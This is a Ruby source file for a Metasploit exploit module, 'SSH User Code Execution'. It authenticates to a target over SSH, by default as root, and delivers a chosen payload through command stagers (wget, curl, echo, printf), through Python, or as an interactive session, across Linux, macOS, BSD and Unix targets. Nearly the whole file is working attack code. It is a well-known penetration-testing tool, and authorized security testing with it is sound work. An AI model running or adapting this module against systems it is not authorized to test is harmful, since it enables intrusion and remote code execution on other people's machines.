##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::SSH

  attr_accessor :ssh_socket

  def initialize
    super(
      'Name'             => 'SSH User Code Execution',
      'Description'      => %q(
        This module connects to the target system and executes the necessary
        commands to run the specified payload via SSH. If a native payload is
        specified, an appropriate stager will be used.
      ),
      'Author'           => ['Spencer McIntyre', 'Brandon Knight'],
      'References'       =>
        [
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'License'          => MSF_LICENSE,
      'Privileged'       => true,
      'DefaultOptions'   =>
        {
          'PrependFork'  => 'true',
          'EXITFUNC'     => 'process'
        },
      'Payload'          =>
        {
          'Space'        => 800000,
          'BadChars'     => "",
          'DisableNops'  => true
        },
      'Platform'         => %w[linux osx unix python bsd],
      'CmdStagerFlavor'  => %w[bourne echo printf wget],
      'Targets'          =>
        [
          [
            'Linux Command',
            {
              'Arch'     => ARCH_CMD,
              'Platform' => 'linux'
            }
          ],
          [
            'Linux x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [
            'Linux x64',
            {
              'Arch'     => ARCH_X64,
              'Platform' => 'linux'
            }
          ],
          [
            'Linux armle',
            {
              'Arch'     => ARCH_ARMLE,
              'Platform' => 'linux'
            }
          ],
          [
            'Linux mipsle',
            {
              'Arch'             => ARCH_MIPSLE,
              'Platform'         => 'linux',
              'CmdStagerFlavor'  => %w[curl wget]
            }
          ],
          [
            'Linux mipsbe',
            {
              'Arch'             => ARCH_MIPSBE,
              'Platform'         => 'linux',
              'CmdStagerFlavor'  => %w[wget]
            }
          ],
          [
            'Linux aarch64',
            {
              'Arch'     => ARCH_AARCH64,
              'Platform' => 'linux'
            }
          ],
          [
            'OSX x86',
            {
              'Arch'             => ARCH_X86,
              'Platform'         => 'osx',
              'CmdStagerFlavor'  => %w[curl wget]
            }
          ],
          [
            'OSX x64',
            {
              'Arch'             => ARCH_X64,
              'Platform'         => 'osx',
              'CmdStagerFlavor'  => %w[curl wget]
            }
          ],
          [
            'BSD x86',
            {
              'Arch'             => ARCH_X86,
              'Platform'         => 'bsd',
              'CmdStagerFlavor'  => %w[printf curl wget]
            }
          ],
          [
            'BSD x64',
            {
              'Arch'             => ARCH_X64,
              'Platform'         => 'bsd',
              'CmdStagerFlavor'  => %w[printf curl wget]
            }
          ],
          [
            'Python',
            {
              'Arch'     => ARCH_PYTHON,
              'Platform' => 'python'
            }
          ],
          [
            'Unix Cmd',
            {
              'Arch'     => ARCH_CMD,
              'Platform' => 'unix'
            }
          ],
          [
            'Interactive SSH',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'generic/ssh/interact',
                'WfsDelay' => 5
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'ssh_interact',
                }
              }
            }
          ]
        ],
      'DefaultTarget'    => 0,
      # For the CVE
      'DisclosureDate'   => 'Jan 01 1999',
      'Notes'            =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        },
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
        OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
        Opt::RHOST(),
        Opt::RPORT(22)
      ]
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
      ]
    )
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing #{cmd}")
    begin
      Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }
    rescue Timeout::Error
      print_warning('Timed out while waiting for command to return')
      @timeout = true
    end
  end

  def do_login(ip, user, pass, port)

    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['password', 'keyboard-interactive'],
      port: port,
      password: pass
    })

    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']

    begin
      self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, 'Failed authentication')
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
  end

  def binary_exists(binary, platform: nil)
    Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))
  end

  def execute_python
    python_binary = binary_exists('python', platform: 'unix')
    python_binary ||= binary_exists('python3', platform: 'unix')
    python_binary ||= binary_exists('python2', platform: 'unix')
    fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?

    execute_command("echo \"#{payload.encoded}\" | #{python_binary}")
  end

  def exploit
    do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])

    if target.name == 'Interactive SSH'
      handler(ssh_socket)
      return
    end

    print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")

    case target['Platform']
    when 'python'
      execute_python
    when 'unix'
      execute_command(payload.encoded)
    else
      if target['Arch'] == ARCH_CMD
        execute_command(payload.encoded)
      else
        execute_cmdstager(linemax: 500)
      end
    end

    @timeout ? ssh_socket.shutdown! : ssh_socket.close
  end
end
